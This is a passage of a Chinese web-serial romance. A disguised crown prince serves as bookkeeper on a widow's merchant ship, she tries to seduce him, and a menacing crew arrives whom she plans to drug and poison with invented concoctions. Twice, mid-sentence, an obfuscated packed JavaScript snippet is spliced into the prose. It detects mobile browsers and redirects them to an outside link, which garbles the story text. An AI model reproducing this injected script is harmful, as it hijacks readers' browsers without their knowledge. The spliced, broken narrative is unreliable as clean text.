他端起饭碗就往嘴里扒拉,生平头一次尝到靠自己力气换来的饭食,只觉得那米粒都格外香糯,虾肉都格外弹牙,连平日里嫌寡淡的白菜帮子都嚼得脆生生带响。 “唔!这船上的伙食真不赖!” 他边大口扒饭边含糊赞道,腮帮子塞得鼓鼓囊囊。 在他想来,商船主家待下宽厚些也属寻常,并未深思。 毕竟,即便这饭菜可口,比之京城东宫或沈府小厨房的精雕细琢,仍是质朴了许多。 景珩却没立刻动筷。 他目光沉静地扫过菜色:河虾新鲜,山药软糯,鸡汤澄黄,枸杞点缀其中。 无毒,滋味上乘。 但……对于一个初来乍到、薪资五两的“账房先生”和其“帮工弟弟”而言,这待遇未免过于优厚了。 与其说是雇主善待,不如说是一种不动声色的示好。 “表哥,你怎么不吃?”沈珏塞了满嘴饭,见他不动,奇道,“这宋娘子真是菩萨心肠,待咱们这样好……” 话未说完,便被景珩一记冷淡的眼风扫过。 那眼神里明明白白写着“食不言,寝不语,兼闭嘴”几个大字。 沈珏喉头一哽,立刻噤声,埋头苦吃,只当自己刚才在夸菜。 另一边,主舱窗边,殷晚枝正悠然用膳。 她面前的小几上,菜式显然更为精巧:一碟清蒸鲥鱼银光闪闪,鱼身铺着火腿笋丝;一盅虫草花胶汤香气氤氲;一碟胭脂鹅脯色泽诱人;旁边还有一小盏冰糖炖燕窝并几样时令鲜果。 青杏布着菜,小声道:“娘子,萧先生那边……会不会觉得太好了?” 殷晚枝执箸,夹起一块滑嫩的鱼腹肉,慢条斯理地送入檀口,细嚼慢咽后才道:“好,才好。” “下药用强,那是下下之策,落了下乘,也容易留下祸患。”她眼波流转,轻笑道,“若他自愿…那便是上上之选,你情我愿,露水情缘,说出去都是一段风雅。” “自愿?”青杏眨眨眼。 “自然。”殷晚枝指尖点了点桌面,语气笃定,“就当他南下途中,偶遇的一段江南韵事,他那样的品貌气度,我也不算委屈,事成之后,银钱厚厚地给,足够他奉养高堂,抚育幼妹,说不定还能捐个清闲官身,全了读书人的体面…他有什么损失?我又何须用强?” 她顿了顿,笑意更浓,带着几分洞悉人心的了然:“读书人最重名声,也最会权衡利弊。这等于他百利而无一害、还能全了风流名声的‘好事’,只要火候到了,时机对了,他自己就会……心甘情愿。” 青杏似懂非懂,只觉娘子说得甚有道理。 殷晚枝重新执箸,心情舒畅。 这人,她势在必得。 4. 勾引 接下来几日航程,殷晚枝日日抱着账本往小账房跑,美名其曰“请教”。 实则,是勾引。 从湖州到徽州的路程不过月余,说长不长,说短不短,她得好好把握机会。 原本在她的预想中,她只需扮演一个柔弱不能自理的美艳孀妇,时不时表现出对这位‘萧先生’的崇拜与依赖,再添上几分欲语还休的暧昧,拿下个清冷书生手到擒来。 毕竟,男人么,再冷也是男人。 哪有不吃这套的? 只是殷晚枝没想到,这次会遇到硬茬。 这位‘萧先生’对她的态度堪称为人师表的典范,无论她如何讲话题往风花雪月上扯,对面总能四两拨千斤,重新绕回到账册上。 几次下来,殷晚枝忍无可忍伸手压在那摞越来越厚的演算草纸上,难得生出了一丝“这书呆子莫非真是来教书?”的荒谬感。 她语气里带着点幽怨:“萧先生日日算这些,不觉得乏味吗?” 景珩头也不抬,用笔杆将那玉指拨去另一边,淡淡道:“宋娘子,专心些。此处数目有异,还需细核。” 殷晚枝:“……” 她差点气笑了。 这人难不成真是来她船上开私塾的? 她还就不信这个邪。 这日午后,她特意选了舱窗边光线最好的位置。 暖阳斜斜照入,将她半张脸映得如同上好的暖玉,睫毛在眼下投出诱人的阴影,连她自己揽镜时都觉得,此情此景,合该有些风月故事发生。 她微微侧首,摆好姿态,只等那‘萧先生’抬头。 终于! 然而,就在她终于等到机会,递上一个练习无数遍的含羞带怯的眼风时。 景珩却只是目光平静地掠过她,看向窗外的日光,微微蹙眉:“宋娘子,时辰不早,今日的条目尚有三分之一未核,需抓紧。” 殷晚枝:“?”就这? 她一口气噎在胸口,差点维持不住脸上的温婉笑容。 只能磨着后槽牙深吸一口气。 可一抬眼,看见男人低垂的眉眼,长睫如鸦羽,鼻梁挺直,侧脸线条清绝的不似凡人……没出息地,她又盯着多看了几眼。 罢了,硬石头有硬石头的啃法。 先让他放下戒心也好。 她借口去端茶,出了账房。 廊下,青杏立刻凑上来,小声道:“娘子,如何?那萧郎君可……” 殷晚枝揉了揉笑僵的腮帮子,压低声音恨恨道:“油盐不进,榆木疙瘩!” 青杏噗嗤笑了,又赶紧捂住嘴。 殷晚枝想了想,冷笑:“去沏壶新茶来。” 她就不信,这次他还能躲? …… ——他还真能! 殷晚枝端着茶行至桌前时,脚下“恰到好处”地一绊,身子往前一扑,茶盏脱手,眼看就要连人带茶一起摔进那‘萧先生’怀里。 按照常理,此情此景,是个男人都该英雄救美,伸手相扶,就算被热茶泼一身也该先将温香软玉揽住。 然而,景珩的反应远超“常理”。 他甚至未抬眼,只伸手抽出了手边一本最厚的账册,不偏不倚垫在了殷晚枝手肘与桌角之间。 “砰。”一声闷响,茶水分毫未洒,稳稳落在桌上。 殷晚枝:“……” 她维持着那个半扶不扶的尴尬姿势,脸庞上红晕不知是气的还是羞的。 直到这时,景珩的目光才终于从账本上抬起,极快地掠过她此刻略显凌乱的云鬓、泛红的耳尖,以及因薄怒而愈发明亮的眼眸。 他喉结几不可察地滚动了一下,随即眉头蹙起,眼中多了几分冷意。 眼前的一切,对他来说更像是一场闹剧。 这几日,这位宋娘子锲而不舍地在他眼前晃悠。 起初他警惕万分,疑心她是哪方势力派来的探子或刺客。 可连日观察下来,除了这过于殷勤的“请教”和眼下这……略显拙劣的勾引,她并未有其他逾矩行为,所言所行也颇符合一个有些家底、又有些不安分的年轻寡妇。 身份路引也无明显破绽,或许……他先前关于漕运的猜测,真的多虑了? 只是,她今日这般明显的投怀送抱,意图已昭然若揭。 他不是傻子,更非那等会被美色轻易迷惑的浅薄之徒。 一段露水情缘,尤其还是在这样一艘身份不明的商船上,绝不在他的计划之内。 加之,此女手段……实在算不得高明。 他虽扮作清冷无害的书生,却并非真的温和可欺,只是眼下亲卫未至,踪迹未明,不宜节外生枝。 再过几日,若亲卫循着湖州码头的暗号寻来,届时……若她识趣安分,他不介意给些银钱,全了这段“雇主”情意;若她不知好歹,非要越界…… 景珩眼底掠过一丝冰冷的锐芒,他亦不是心慈手软之人。 他收敛心神,面上重新挂起那副温和疏离的书生面具,抬眸看向仍僵在那里的殷晚枝,语气中是恰到好处的关切:“宋娘子,小心些。” 殷晚枝回过神,一口气堵在胸口,憋得难受。 笑得颇有几分咬牙切齿:“多谢先生关心。” 木头!绝对是块不开窍的朽木! 看来直白勾引是行不通了,难不成真要学那些话本里的痴情女,走什么柔情似水、嘘寒问暖的路线? 先攻心?想想就麻烦。 她揉了揉额角,觉得这账房里的空气都闷得让人头疼,还是先出去透口气。 刚欲转身迈步,脚下船身毫无预兆地剧烈一晃! “呀!”她低呼一声,重心全失,整个人不受控制地向前栽去—— 这一次,结结实实撞进了一个怀抱。 面前人瞬间僵住。 殷晚枝心下感叹,还真是无心插柳柳成荫,这回还真不是她有意为之。 只是,撞上去的瞬间,她预想中书生清瘦单薄的感觉并未传来,反倒触感硬实,隔着那层薄薄的衣料,分明能感受到其下紧绷而蕴藏着力量的肌肉线条。 但转念一想又觉得合理,寒门书生出门游学都靠脚力。 身板不结实才怪。 顺势埋进了男人的怀中。 景珩在那温软身躯撞入怀中的刹那,浑身绷紧。 一股混合着熟悉暖香的柔软触感猛地袭来,让他头皮都炸了一下。 他素来不喜与人肢体接触,尤其不喜这种不受控的肢体纠缠。 几乎本能抬手想将人推开。 可掌心才触及那不盈一握的腰肢,陌生的柔软和温热便透过布料传递过来。 烫得他指尖不由瑟缩,原本动作竟生生僵住了。 直到颠簸停下,两人站定。 殷晚枝眼尖,立刻捕捉到他冷白侧脸上那抹未来得及褪去的薄红,直蔓延至耳廓。 她先是一愣,旋即心头那点连日碰壁的郁气霎时散了,险些笑出来——原来不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149151|196413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是块真木头,竟是个会脸红的! 她这边心情微妙好转,景珩那边却是羞恼交加。 他生平从未与女子这般贴近,更别提是这般……投怀送抱。 那抹红与其说是羞赧,不如说是恼怒。 他几乎想捏断这胆大包天妇人的手腕! 脸色已经黑沉如水。 就在这时,外间恰好传来青杏提高的嗓音,夹杂着沈珏的询问和船工隐约的吆喝,似是前头出了什么状况。 殷晚枝反应极快。 眼见景珩脸色不善,她抢先一步垂下眼睫,面上飞起恰到好处的红晕,声音又轻又软,带着慌乱:“方才、方才真是失礼了!船晃得厉害,我一时没站稳……萧先生莫怪!” 将柔弱羞赧的孀妇样演了个十成十。 她语速飞快,将景珩未出口的冷语堵了回去,紧接着便道:“外头好像有事,我去看看!” 不等景珩回应,她已像只受惊的蝶,拎着裙摆匆匆转身出了账房,只留下一缕晃动的珠帘和若有似无的香气。 景珩站在原地,望着犹自晃动的帘子,胸口那股郁结之气不上不下。 他缓缓吸了口气,才压下眸中凛冽的寒意。 好,很好。 这位宋娘子,不仅手段拙劣,脸皮也……颇厚。 - 殷晚枝想起刚才方才场景,没忍住笑出声,心情颇好的掀帘出了账房。 只是这样的好心情并未持续多久。 外头正一片忙乱嘈杂。 甲板上,船老大正扯着嗓子吆喝水手们检查船身,青杏则气得小脸通红,对着江面方向直跺脚:“太欺负人了!分明是那王家的船先抢道,撞了咱们,连句赔不是都没有,就这么大摇大摆地先过闸去了!” 沈珏也凑在船舷边张望,闻言嘀咕:“王家?哪个王家?这么横?” “还能是哪个王家!”青杏柳眉倒竖,“湖州数得上的盐商,跟咱们宋家……哼,向来不对付!定是瞧见咱们船上挂的旁支旗号,觉得好欺负!” 殷晚枝走到船舷边,俯身察看。 好大一条缝! 左侧船身近水线处,被撞裂了两块木板,江水正丝丝渗入。 看着远处正过闸的船,她美眸微眯,眼底闪过一丝寒意。 王家……仗着与漕运衙门关系硬,是越发嚣张了,连这种下作手段都使。 若是主家的船在此,借他们十个胆子也不敢。 罢了,眼下她“宋杳”只是个无权无势的寡居旁支女,不宜节外生枝。 这笔账,她先记下了。 “能撑到宁州吗?”她问船老大。 船老大摇头:“堵能缓一时,但得停靠换板,至少半日。眼下近晚,得在前头渡口泊一夜,明早修。” 殷晚枝蹙眉。 这段水路不太平,商船向来快过,极少中途停泊。 “不能连夜赶到宁州?” “娘子,不是小的不肯。”船老大指着裂缝,“夜里浪大,万一在江心出事,更麻烦。” 安全终究是第一。 殷晚枝无奈点头:“那便去渡口吧。” 只是到底气闷难消,她在心中给王家狠狠记上了一笔。 景珩从舱内出来,面色沉静,目光掠过狼藉的甲板,又看向远处扬长而去的盐船,眸光暗了暗。 殷晚枝正在心中盘算停在哪处渡口,转身瞬间,正对上身后人深沉的眸子。 她心头一跳。 5. 面纱 可她定睛再看时,那眸中又只剩疏淡平和,大抵是眼花。 殷晚枝定了定神,暗笑自己疑神疑鬼。 景珩走到甲板开阔处。 沈珏立刻凑了上去挤眉弄眼,邀功似的压低声音:“表哥,我都打听清楚了!那王家是湖州数得上的盐商,跟漕司的人勾搭着呢!宋家也是大族,不过好像跟王家不太对付……” 景珩连眼皮都懒得抬,声音没什么起伏:“市井皆知之事,也值得你打探?” 来之前,这些盐商的祖宗三代、关系网络,早化作密报堆在他案头了。 沈珏:“……” 一腔热血又喂了江鱼。 殷晚枝适时走上前,面上带着恰到好处的歉意:“萧先生,实在抱歉,船需修补,恐怕要在此处耽搁一两日了。” 景珩微微颔首,客气道:“无妨,安全要紧,一切听凭娘子安排。” 见殷晚枝似乎想再靠近些说话,他脚下已不着痕迹地往后移了半分。 就差把“生人勿近”写在脸上。 殷晚枝将他这细微的回避看得分明,心下好笑,那点较劲的心思反倒淡了些。 看来刚才那一撞真是将人惊着了。 她见好就收,不再紧逼,转身去安排泊船事宜。 船最终停在了白苇渡。 这渡口是附近最大的一处,依托着一个小小的镇集,灯火依稀,人气比荒郊野渡足得多。 因着常有盐商船队在此停靠补给,水匪一般不敢轻易来犯,加上自家船上护卫还算精悍,殷晚枝悬着的心总算落下一半。 修船的木料船上备了一些,但天色已彻底暗沉,江风也大了起来,修船之事只得明日。 不久,夜色渐浓,众人简单吃过晚膳后,殷晚枝开始在船上溜达消食。 江风寒浸浸的。 走到船头,果不其然看见了独自凭栏的景珩。 远处是墨色江面与远处零星渔火,男人身影几乎融于夜色,唯有衣袂被风拂动。 殷晚枝心思一动,转身让青杏去端碗姜汤来。 啧啧。 月黑风高夜,孤男寡女,这可正是暗生情愫的好时机。 - 景珩正思忖着漕运盐商勾结的贪腐案线索,方便之后一个个拔出靖王留下的爪牙。 就在此时,身后传来女人柔婉的声音。 景珩瞬间警惕。 回身正对上一双澄澈干净的眸子。 殷晚枝眨眨眼,笑着将碗递过去:“萧先生,夜里风寒,喝碗姜汤驱驱湿气吧。” 景珩微微蹙眉。 江风将她身上那股独特的暖香送至鼻端,混合着姜汤的辛辣,无端让他想起午后账房中那一撞。 温软,馨香,猝不及防。 他目光掠过她被灯火映得莹润的面颊,那精心描绘的眉眼此刻带着恰到好处的关切。 确实是一副极好的皮囊,鲜活秾丽,足以让大多数男子心旌摇曳。 可越是如此,他心底那点被冒犯的不悦与警惕便越是清晰。 这人总是这般不知死活地试探边界……他向来厌恶自作聪明的蠢人。 一而再再而三,他已耐心耗尽。 “宋娘子有心。”他并未接碗,声音在夜风中显得格外清冷,“只是夜深人静,瓜田李下,恐惹人闲话。还请娘子自重。” 这话说得直白。 一般女子必然羞愧难当。 果不其然,殷晚枝眼圈霎时便红了,长睫一颤,泪珠儿说掉就掉,悬在腮边要落不落,衬着灯火,好不可怜。 “先生……先生何必如此拒人千里?妾身不过感念先生相助,又见先生独立寒风中,心中不忍……难道在先生眼中,妾身便是那般不知廉耻之人么?” 她嗓音哽咽,委屈得仿佛受了天大的冤枉。 景珩看着她瞬间涌出的眼泪,眉头几不可察地蹙了一下。 这眼泪来得太快太汹涌,真假难辨。 他生平最烦两件事:一是麻烦,二是女人的眼泪。 眼下这位宋娘子,两样都占全了。 先前还觉得她或许另有城府,此刻看来,更像是个空有美貌、行事却蠢笨轻浮的草包。 他心中那点因她“新寡自立”而起的审视,不由淡了几分,取而代之的是更深的不耐。 “宋娘子言重了。”他语气依旧平淡,甚至带上一丝不易察觉的冷硬,“夜风太凉,娘子衣衫单薄,还是早些回舱为宜。在下尚有账目未核,先失陪了。” 他转身欲走,袖摆却被人轻轻扯住。 殷晚枝仰着泪眼看他,手指捏着他一片袖角,力道不重,却带着股执拗:“先生且慢……” 就在此时,旁边货箱后“咚”一声闷响,伴随着沈珏压低的吸气声。 只见他捂着额头,一脸“我什么都没看见但我真的不是故意”的尴尬表情,从阴影里拐了出来。 景珩:“……” 殷晚枝:“……” 还真是人生处处是观众。 她迅速松了手,用绢帕拭了拭眼角,背过身去,肩膀微颤,仿佛羞窘难当。 景珩面无表情地将自己的袖子从虚空中扯回,理了理,不再多言,步履平稳朝船舱走去,仿佛刚才什么都不曾发生。 沈珏看看表哥冷硬的背影,又看看“掩面啜泣”的宋娘子,挠挠头,一时不知该跟上还是该安慰。 最后,当然还是太子表哥更重要。 沈珏急急追去。 殷晚枝在两人走后,便慢慢止了“哭泣”。 她放下绢帕,脸上哪还有半分泪痕,心下叹息。 啧,这人防备心不是一般的重。 不过……她想要的东西就没有不成的。 她理了理鬓发,也款步回了主舱。 这边。 沈珏蹑手蹑脚蹭到刚回舱的景珩身边,压低声音,语气充满了不可思议:“表哥……她、她刚才是不是拉你袖子了?还哭了?你就这么……走了?” 景珩正解着外衫的系带,闻言动作未停,连眼皮都没抬,只冷冷抛出一句:“再看,眼珠子给你挖出来。” 沈珏脖子一缩,立刻鹌鹑似的滚回自己榻上,心里却像揣了只活蹦乱跳的兔子,扑通扑通跳得厉害——这宋娘子,胆子也忒肥了! 那可是他太子表哥! 东宫里连宫女近身奉茶都需隔三步,那些想方设法往跟前凑的贵女,哪个不是被那冷眼一扫就吓得花容失色?表哥最厌的便是这等不知分寸的纠缠。 虽说宋娘子生得确实跟画里走出来的仙娥似的,待人也和善……沈珏心里惋惜地叹了口气,只怕是落花有意,流水无情,要错付了。 这夜他在船上翻来覆去睡不着,总觉得良心不安。 要是宋娘子因此越陷越深,最后伤心欲绝可如何是好? 毕竟……人家对他们有收留之恩…… 这样想着,他决定明天得找个机会,委婉地提点宋娘子两句。 - 主舱内。 青杏见自家娘子眼眶微红地回来,连忙迎上去,又是递热帕子又是心疼:“娘子,那萧先生也太不识抬举了!您都这般……他还……” 殷晚枝接过帕子敷了敷眼,那点刻意逼出的红痕很快便散了。 她坐到镜前,慢慢卸下发间簪子,闻言轻笑一声:“我哪般了?不过是递了碗姜茶,说了几句关心话罢了。” 青杏嘟囔:“可您都……那样看着他了。” 她学不来娘子那眼波流转、欲语还休的神态,只觉得任是铁石心肠也该化了。 “傻丫头,”殷晚枝对镜梳发,“他没当场翻脸赶人,容我近了身,甚至让我扯了袖子——虽然后头甩开了。这不叫拒绝,这叫‘没想好’。” 她语气笃定,她虽然接触的读书人不多,但是当初的宋昱之和这简直一模一样。 如今这位‘萧先生’大抵如此。 读书人嘛,总是多几分清高。 “可是……”青杏还是有些气不过。 小姑娘的心思很好懂,只觉非黑即白,拒绝就是拒绝。 殷晚枝有些好笑,她早过了被心上人拒绝便心碎的年岁,眼下又不是求真心,借个身子罢了,凭她的颜色,她还是有几分自信的。 对于那种表面清高冷硬的男人,直白猛攻往往适得其反。 就得这样若有似无地贴着边界试探,让他习惯,让他松动,让他自己都未察觉防线已悄然退后。 到最后必定能拿下。 “好了,”她语气轻松,安抚着青杏,“去把明日要修补的料子再清点一遍,早些歇息吧,你家娘子心中有数。” 果不其然,说起正事,青杏注意力瞬间被转移了。 哒哒哒朝外去了。 殷晚枝吹熄了手边的灯烛,舱内陷入昏暗。 她目光投向窗外皎月。 还真是……月色正好。 - 翌日,天光放亮,江面雾气氤氲。 船上一切如常。 水手们早早开始叮叮当当地修补船舷,船老大吆喝着指挥,青杏带着婆子准备朝食。 沈珏也揉着眼睛爬起来,继续他“帮工”的活计——虽然主要是跟着四处转转,递递工具。 只不过船上未免太平静了。 他甚至几次偷偷观察宋娘子和自家表哥。 毫无所获。 沈珏挠挠头,几乎要怀疑自己昨晚是不是江风太大,吹迷糊了产生了幻觉。 他憋了一肚子话想问,可瞅瞅景珩那张没什么表情的脸,又看看宋娘子从容指挥船工,那副“无事发生”的坦然模样,到底没敢开口。 这么一来二去,他自己倒先说服了自己:定是他想多了!

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149152|196413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宋娘子这般明理爽利的性子,怎会真对他那块冷冰冰的石头表哥有什么心思? 昨日大约真是出于感激和关心,却被表哥那不解风情的冷脸给伤了心,如今想开了便罢。 这么一想,沈珏莫名松了口气,连脚步都轻快起来。 还好还好,总算没又一个可怜女子被他表哥那张脸给骗了去,最后落得伤心下场。 白天的渡口热闹些,往来船只和挑夫不少。 殷晚枝出来走动时便戴上了面纱,薄纱及胸,只露出一双烟水明眸和光洁的额头。 可即便如此,那袅娜的身姿与通身的气度,依旧引得邻近几条商船上不少目光暗暗投来。 有人低声议论,有人啧啧赞叹。 景珩立在船头,目光冷淡掠过那些觊觎的视线,最后落在那抹轻盈的月白身影上。 她今日换了装扮。 一身浅碧色罗裙,外罩鹅黄半臂,颜色比昨日那套雨过天青更鲜亮两分,发髻依旧松绾,斜插的却是一支赤金点翠簪子,簪头嵌着一颗拇指盖大小的羊脂白玉,在日光下流转着温润又夺目的光。 ……太招摇了。 景珩几不可察地蹙了下眉。 寻常新寡的妇人,即便家境尚可,也多是穿些素净颜色,力求低调。 似她这般……与其说是守节的孀妇,不如说是哪家精心妆扮、正要赴约的年轻夫人。 经过昨夜,他已将她定性为“空有美貌、行事轻浮且手段拙劣”的麻烦。 此刻见她这副打扮,更觉印证了自己的判断——一个并不安于室、或许正试图借着“新寡”身份行方便之事的女子。 他目光追随着她与船老大交谈的背影,见她侧耳倾听时,颈项拉出优美脆弱的线条,面纱边缘隐约可见细腻的肌肤……无端又想起昨夜她泪眼朦胧、指尖轻扯他袖角的样子。 那眼泪来得快,收得也快。 今日她面对他时,果然开始保持距离,进退有度,甚至比昨日更添了几分“避嫌”的自觉。 看来昨夜那番冷语,到底起了些作用。 只是,避嫌避得太快未免太刻意,毕竟寻常女子若是听了他昨日那番话,定然羞愧得不敢再见,哪里会像她调整得这般快。 眼下……更像是以退为进。 他心下冷嗤,收回目光,不再关注。 殷晚枝感受到身后那道似有若无的目光,便知是景珩。 瞧,只要开了条缝,哪怕不喜欢她,也会忍不住关注。 与船老大说完话,她转身款款朝这边走来。 殷晚枝步履轻盈,行至景珩身前不远处停下,隔着面纱,那双眸子盈盈望来。 “萧先生。” 这是她今日和景珩开口说的第一句话。 似乎因着昨晚的事,还带着点忐忑,但见对面无甚反应,才又渐渐松快起来。 “船舷修补还需些时辰,先生若觉舱中气闷,可去渡口小镇上走走,散散心,镇东头有家茶寮,粗茶尚可,点心也还爽口。” 她说得自然,仿佛只是寻常主家对雇员的体贴。 景珩抬眸,目光平静地落在她压着面纱的手上,此时江风微大,女人两只手压着薄纱,纤指如玉。 声音透过薄纱,带着一点恰到好处的闷软,却不减清亮。 ……装模作样。 他挪开目光。 “多谢娘子告知。”他语气疏淡,“在下素喜清静,在此看书便好。” 殷晚枝从善如流,微微颔首:“那便不打扰先生了。”说罢,作势欲走。 景珩看着她这副仿佛昨日无事发生,反显得他小题大做,眸色更冷。 他扫了一眼渡口各色觊觎目光,又看向明显兴致盎然,不知危险的女人,心中越发觉得麻烦,想起暗中追索的靖王耳目,终究还是出声叫住她:“宋娘子。” 殷晚枝回身,面纱上方的眼眸透出些许疑惑。 他语气冷淡:“此地人员混杂,并不太平。娘子若无必要,还是少下船走动为宜,以免招惹不必要的麻烦。” 殷晚枝自然知道他是好心,冲景珩笑道:“多谢先生提醒,我记下了。” 今日江风很大,从岸边吹来不少柳絮。 她有些手忙脚乱,一边理着身上的柳絮,一边掩面往外走。 正在此时,又是一阵大风,吹得她面纱一角飞扬,眼看便要掀开—— 她低呼一声,连忙去按。 只是,另一只手比她更快,只一瞬飞扬的面纱轻轻压回原位。 指尖扫过脸颊,带着点温热。 面纱落下,四目相对。 男人姿态随意,指骨修长,正虚虚拢着半透的薄纱,直到风停才放手。 殷晚枝这回是真的有些诧异。 “多谢。” 景珩压下眸中冷色,淡淡道:“风大,宋娘子仔细些。” 6. 绑人 殷晚枝看着男人远去的背影。 嘴角微翘,这位“萧先生”还挺有意思的。 她没再提下船的事,门帘一掩,隔断了外间各色目光,本也没真想出去,不过是想瞧瞧那“萧先生”作何反应罢了。 只是,她这边进展顺利,船工那边却出了岔子。 原本预计半日修好的裂缝,因木质浸水变形,竟折腾了一整天,直至下午仍未完工。 日暮时分,渡口又来了新客。 一艘看着有些破旧的货船歪斜着靠过来,船上汉子们嗓门粗嘎,正骂骂咧咧: “漕司那帮孙子,说好的抽成就抽成,临时又加码!简直不给人活路!” “有啥法子?听说上头派了人下来暗查,风声紧得很,连那些水耗子都要被撵得四处窜,官老爷们怕逼急了水耗子反咬,可不就紧着拿咱们这些跑单帮的开刀?” “他娘的,官匪一家,苦了咱们!” 为首的是个看着三十出头、面相斯文些的男子,闻言皱眉低喝:“行了!少说两句!都警醒点,这趟货不能出岔子,真把咱们逼到绝路上……” 他话没说完,但眼中闪过一丝狠色。 众人噤声,脸色都不好看。 都知道这趟走货不易,油水薄,风险大。 停船时,有人眼尖,瞧见了那条位置最好、修得七七八八的货船。 “大哥,您瞧那船,”一个满脸横肉的汉子凑到斯文男子身边,努努嘴,“看着不像是四大家的,是个旁支,来得早,占了最好的地儿,咱们船大,挤在这儿不方便,不如……” 几人交换了个眼神,心领神会。 那横肉汉子立刻跳上跳板,过去交涉,嗓门洪亮:“喂!你们这船,挪个地方!没见咱们船要停靠吗?” 船老大正在指挥修补,见他们人多势众不好招惹,好声好气的言明不便。 但显然对面并不买账。 “修什么修!让你挪就挪!耽误了爷们的事,你担待得起?”汉子不耐烦,挥手就要让身后跟来的几人上前。 争执声传进舱内,殷晚枝蹙眉,示意青杏去看看。 青杏刚掀帘,外头那汉子正好瞧见舱门处影影绰绰的窈窕身影,声音更高了几分。 殷晚枝索性走了出去。 她一现身,甲板上顿时一静。 月白裙裾,薄纱覆面,身姿如柳,即便看不清全貌,那通身的气度已足够吸住所有目光。 连原本吵嚷的汉子也顿了一下。 船工们立刻围上来七嘴八舌告状。 殷晚枝静静听着,目光已将对面几艘船和这群人打量了个遍。 船上堆着酒坛和一些用油布盖着的货,船员们确实面带风尘疲色,但个个身形彪悍,连几个做粗活的婆子都胳膊粗壮,眼神精亮,绝非善茬。 这时,那为首的斯文男子适时走了出来。 他先是瞥了一眼殷晚枝身边那几名虽沉默却精干的护卫,目光在她身上停留一瞬,随即拱手,笑容温和:“这位娘子,对不住,是在下管教不严,我这兄弟性子急,冒犯了。”他转头呵斥那汉子,“还不退下!怎可对娘子无礼?” 那汉子梗着脖子,满脸不忿,却也不敢违逆。 斯文男子又转向殷晚枝,语气诚恳:“娘子见谅。我们行船多日,人困马乏,只想寻个稳妥处歇歇脚,见娘子船泊在此,原是想商量行个方便……”他顿了顿,面露难色,“若实在不便,也就罢了。” 话里话外,先扣了个“兄弟鲁莽但情有可原”的帽子,又摆出“疲累求体谅”的姿态,若殷晚枝执意不让,倒显得她不近人情。 殷晚枝心中冷笑。 打量她是女流,又是“寡居”,便想用这套软硬兼施的法子占便宜? 没有这样的道理。 她声音透过面纱,依旧温软,却带着不容商量的清晰:“这位公子言重了,并非妾身不愿行方便,实是船只正在紧要处修补,强行挪动恐生危险,渡口宽阔,公子船队寻他处停泊,应非难事。” 上来就吃了个软钉子。 斯文男子脸上笑容未变,眼底却掠过一丝意外。 他不再纠缠泊位,转而笑道:“娘子说的是,是在下考虑不周。” 他示意手下:“去,挑几坛咱们带来的‘醉春风’,给娘子的船工护卫们解解乏,算是赔礼。” 那“醉春风”是江南名酒,价值不菲。 汉子闻言更是不满,却只得照做。 生意人到底是讲究和气生财。 殷晚枝也并不想因着点口齿龃龉横生事端。 见对面服软递台阶,便顺势而下,示意船老大接过那几坛“醉春风”。 斯文男子见状面上笑意真切了几分,似是真松了口气。 殷晚枝看着对面人眼中一闪而过的精明,心下冷笑,一个唱红脸,一个唱白脸。 把她当傻子哄呢。 她目光再度落到了对面船上,除了酒坛便是木箱。 还真是简陋。 各种意义上的简陋。 她想闭着眼睛说这群人没问题,都难。 殷晚枝一顿,便笑着道:“那便多谢了,不过……好酒自然要配好菜,青杏,去把咱们船上存的,拣几样上好的,给对面的好汉们送去下酒。” 她特意在“好”字上略略咬了重音。 青杏目光一闪,抬眼和自家娘子对视上,主仆俩儿默契十足。 她立刻会意,脆生生应道:“是,娘子。” 说罢,脚步轻快地去了后舱。 见这边不仅收了酒,还回赠了“好菜”。 斯文男子笑着道谢,那几个原本脸色不虞的汉子面色也缓了下来。 一时间,码头边一派和气。 仿佛先前的龃龉从未发生。 - 船舱内,景珩隔着半掩的窗帷,将外间这“礼尚往来”看得分明。 他目光不动声色打量对面船上情况。 他虽鲜少与这些人打交道,但也能看出,这群人不是善茬。 只是,他也没有想多管闲事的意思。 不多时,便见那几坛“醉春风”被抬上了船。 景珩眸色微深,只见那位宋娘子吩咐身边丫鬟,将那些酒悉数搬入舱中,又低声嘱咐了几句。 不多时,青杏便带着人,将几坛自家船上带的寻常酒水搬了出来,替换了那些“醉春风”,准备晚膳时分分与船工护卫。 他眉梢微动,目光重新回到账本上。 倒还没蠢到无可救药。 - 殷晚枝心中自有盘算。 她带来的护卫都是心腹,跑船的老江湖,什么下三滥的招数没见过? 赔酒?怕不是赔的蒙汗药或更歹毒的东西。 她嘴角微勾。 今晚……怕是会有意外之喜。 虽说她这边护卫不少,但是为了以防万一,先前让青杏送去的饭菜里也加了不少“料”。 无色无味,怕是对面正大快朵颐呢。 当然,若是对面没有歹心,吃了便吃了,也无害。 若是有…… 她叫来青杏:“入夜后在船上各处多点几根‘浮梦香’,特别是堆放货物的地方。” 若是有,那今夜便叫他们有来无回。 毕竟,“浮梦香”配上无色无味的“千机散”,可是剧毒。 青杏当然明白:“是,娘子。” 离开时,殷晚枝又道:“对了,今日萧先生和萧小郎君的酒水里也记得加点蒙汗药。” “分量轻一点,确保晚上睡死就行。” 殷晚枝倒不是防备他们,只是,有两个外人在场终归是不便的,再者,她这柔弱寡妇的人设还得继续,有些场面,不适合“萧先生”那样的正经书生。 到时候吓坏了就不好了。 还是晕了省心。 青杏领命下去了。 - 晚膳时,因着有酒,船上气氛热闹。 